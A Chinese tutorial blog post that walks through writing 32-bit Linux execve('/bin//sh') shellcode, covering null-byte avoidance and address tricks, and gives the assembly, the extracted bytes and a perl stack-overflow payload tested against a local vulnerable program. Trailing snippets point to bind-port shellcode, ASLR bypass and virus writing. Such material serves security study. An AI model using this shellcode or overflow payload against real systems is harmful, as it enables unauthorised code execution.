如何编写本地shellcode

好,我们正式开始一步步来编写shellcode,结合之前的示例程序,写个打开一个新shell的shellcode。

在写之前,先介绍编写shellcode的一些技巧,特别有用。

shellcode编写技巧

如何避免零字节

shellcode通常是由于strcpy/sprintf等字符串函数造成溢出,因此通过来注入的shellcode不能出现零字节。但实际运行的代码是需要0的,那如何处理呢?

使用xor指令对寄存器进行清零或者cld,如:

xor eax, eax

xor ebx, ebx

xor ecx, ecx

cld     ; 该指令对edx进行清零

如果需要将eax的值赋为0x5,不能直接写成mov eax, 0x05,因为它会生成机器码mov eax, 0x00000005,会有0填充。可以采用下面这个技巧:

xor eax, eax

mov al, 0x05

X86架上对通用寄存器都提供对应的16位和8寄存,上述例子就是通过它来避免零出现。

如何知道绝对地址

尽管在前面的攻击例子中,shellcode存放的地址是已知道的,但不同的攻击中,它的地址是会变化的,那么我们如何编写shellcode不依赖了这个变化的地址而通用化呢? 那么需要借用一些相对跳转指令来获取绝对地址

call指令是相对转跳,但会在栈上压上绝对地址,然后再弹出就可以获取绝对地址,如:

jmp short get_string

code:

pop eax            ; 这里弹出的是call指令压栈的下条指令的地址,即"hello world"字符串的地址

get_string:

call code

data:

db ‘hello world‘, 0x0a

push指令将数据压到栈上,然后获取esp的值,就是刚压栈数据的绝对地址,如:

push 0x4b435546   ; 0x46, 0x55, 0x43, 0x4b 分别 FUCK字符的 ascii码

mov eax, esp            ; 将"FUCK"字符串首地址赋给eax,后续可用于系统调用传参

Linux系统调用约定

Linux系统调用是以int 0x80指令来陷入内核态的,系统调用号通过eax来传递,参数分别是ebx, ecx, edx, edi, esi来传递。

编写shellcode

在Linux下编写shellcode,可以直接使用gcc对汇编.S文件进行编译链接,生成标准的可执行ELF文件,同时也能直接进行测试,但有一点不方便是的提取机器码很不方便。

为了方便用提取机器码,使用nasm编译器生成bin格文件,没有任何其它格式数据,方便直接提取。

我们要编写的本地shellcode,对应C 语言逻辑如下

char *argv[2];

argv[0] = "/bin/sh";

argv[1] = NULL;

execve("/bin/sh", argv, NULL);

翻译成汇编语言过程如下:

将"/bin/sh"字符串压到栈上,包含字符串结串符‘\0‘

xor edx, edx

push edx

push 0x68732f2f

push 0x6e69622f

将字符串/bin//sh压入栈内,同时通过push edx来保证字符串后面的数所据是0,也即字符串结束符。 请注意,栈是从高地址向低地址生长的,所以要从字符串尾巴压起。

mov ebx, esp

此时栈底就是字符中址的开始地址,该指令将字符串地址赋给ebx(系统调用的第一个参数)

将下来是将argv[2]数组的内容放到栈上。

push edx    ; 将argv[1](值为  NULL) 放到栈上

push ebx    ; 将argv[0]( "/bin//sh")放到栈上

此时esp指向的空间,刚才对应argv[2]数组结构的开始地址

由于argv是系统调用第二参数,需要将它赋给ecx

mov ecx, esp

xor eax, eax,

mov al, 0xb

到这时, eax 为 11(系统调用号),ebx为"/bin//sh"字符号(第一参数),ecx为argv数组(第二参数),edx为NULL(第三参数),那就可以直接使用int 0x80进行系统调用了。

int 0x80

将上述指令拼在一起就是如下的汇编代码:

BITS 32

xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f

mov ebx, esp

push edx
push ebx

mov ecx, esp

xor eax, eax
mov al, 0xb

int 0x80

编译生成机器码

nasm -o shell2 shell2.s

生成的shell2文件为bin数据,全是机器码,没有任何格式数据,使用Linux命令转换成bash或者perl可输入的shellcode.

$ od -t x1 shell2 | sed -e ‘s/[0-7]*//‘ | sed -e ‘s/ /\\x/g‘

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52

\x53\x89\xe1\x31\xc0\xb0\x0b\xcd

然后使用之前的stack1程序进行测试:

$ echo $$

2503

$ perl -e ‘printf "A"x48 . "\x10\xd7\xff\xff" . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"‘ > bad.txt;./stack1

data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???1?Rh//shh/bin??RS??1?

????

$ echo $$

4398

说明:echo $$命令输出当前shell(即bash或者sh)的pid

前后两次不一样,那就说明 shellcode执行后,打开了一个新shell。 也即shellcode运行成功,测试通过。

小结

本文介绍使用汇编语言编写shellcode的技巧,如零数值,绝对地址以及Linux系统调用约定。最后成功编写一个本地shellcode。

时间: 2024-10-21 14:02:21

如何编写本地shellcode的相关文章

如何编写一个shellcode

ShellCode的编写就是将函数或变量在内存中的间接地址改为函数或变量在内存中的直接地址,直接调用! 以MessageBox函数为例进行讲解如下 新建shellcode.cpp: 编写代码如下: 运行结果: 将VC代码转换成汇编指令: 内存数据图: 函数的真实地址找到之后,修改代码如下: 将以上汇编指令转换成二进制数据: 内存数据图: 将0x0040103C~0x00401049之间的二进制数据复制出来 如下: 6A 00 6A 00 6A 00 6A 00 B8 1E FD 0B 75 FF

编写shellcode测试工具

不知不觉,shellcode已成功攻击过程中必不可少的步骤,后面的文章会继续介绍如何编写其它类型的shellcode.直到目前为止,每次完shellcode汇编代码,都需要找到之前(或者重新编写)带缓冲区溢出漏洞的代码进行测试,同时要不停地对准EIP以及esp地址.这对于测试shellcode的正确性来说,很不方便,也难以调试.为此,我们先编写shellcode测试工具,方便后面测试shellcode,所谓磨刀不误砍柴功. shellcode测试工具sctest 我们将工具取名为sctest,是

如何写绑定端口shellcode

前面<如何编写本地shellcode>一文介绍如何编写shellcode取得shell进行交互.本文介绍另一个例子,绑定端口的shellcode.攻击通过网络利用缓冲区溢出漏洞,注入该shellcode,那就可以能过shellcode打开的端口进行利用. Shellcode逻辑C代码 绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell. 代码如下: #include <unis

使用ret2reg攻击绕过地址混淆

前面介绍的攻击方法,EIP注入的地址必须是一个确定地址,否则无法攻击成功,为了与本文介绍的攻击方法形成比对,我将前面的方法称为ret2addr(return-to-address,返回到确定地址执行的攻击方法). 安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术.该述语英文称为 Address Space Randomize Layout,直译为地址随机化.该技术将栈,堆和动态库空间全部随机化.在32位系统上,随机量在64M范围:而在64位系统,它的随机量在2G范围,因

缓冲区溢出分析第05课:编写通用的ShellCode

前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellCode,是采用"硬编址"的方式来调用相应API函数的.也就是说,我们需要首先获取所要使用函数的地址,然后将该地址写入ShellCode,从而实现调用.这种方式对于所有的函数,通用性都是相当地差,试想,如果系统的版本变了,那么很多函数的地址往往都会发生变化,那么调用肯定就会失败了.所以本次的

缓冲区溢出分析第04课:ShellCode的编写

前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写ShellCode.为了简单起见,这里我只想让程序显示一个对话框: 图1 获取相关函数的地址 那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框.由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取: #inclu

搭建centos 5.x本地yum源

大家都知道,在centos上安装rpm包时,最令人头疼的就是各种包的依赖关系.不过CentOS和RedHat以及SUSE中提供了一种shell前端软件包管理器yum,用来解决软件包的依赖关系.使用yum安装所需的软件,过程变得简单很多.但是一般来说,yum都是在线安装软件的.对于没有网络的情况下,我们该怎么办呢? 本文以 CentOS 5.5 为例,完整讲解 CentOS 系统创建本地 yum 源及使用的方法. 闲话少说,现在我们来一步步进入搭建本地源的过程. 1.  默认安装 CentOS 5

本地/远程Service 和Activity 的交方式(转)

android SDK提供了Service,用于类似*nix守护进程或者windows的服务. Service有两种类型: 本地服务(Local Service):用于应用程序内部 远程服务(Remote Sercie):用于android系统内部的应用程序之间 前者用于实现应用程序自己的一些耗时任务,比如查询升级信息,并不占用应用程序比如Activity所属线程,而是单开线程后台执行,这样用户体验比较好. 后者可被其他应用程序复用,比如天气预报服务,其他应用程序不需要再写这样的服务,调用已有的

如何编写病毒代码学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 如何编写病毒代码? 首先我把最重要的两个方面列举出来. 1. 处理病毒各个绝对地址的重定位. 2. 所有需调用的api函数地址,均通过动态搜索来获得. 做到以上2点,我们的病毒代码就可以移植到任意的程序中.没错,就和我们写shellcode一样. 先来看一些代码的优化方法: (1)测试寄存器是否为0 cmp eax,00000000h ; 6 bytes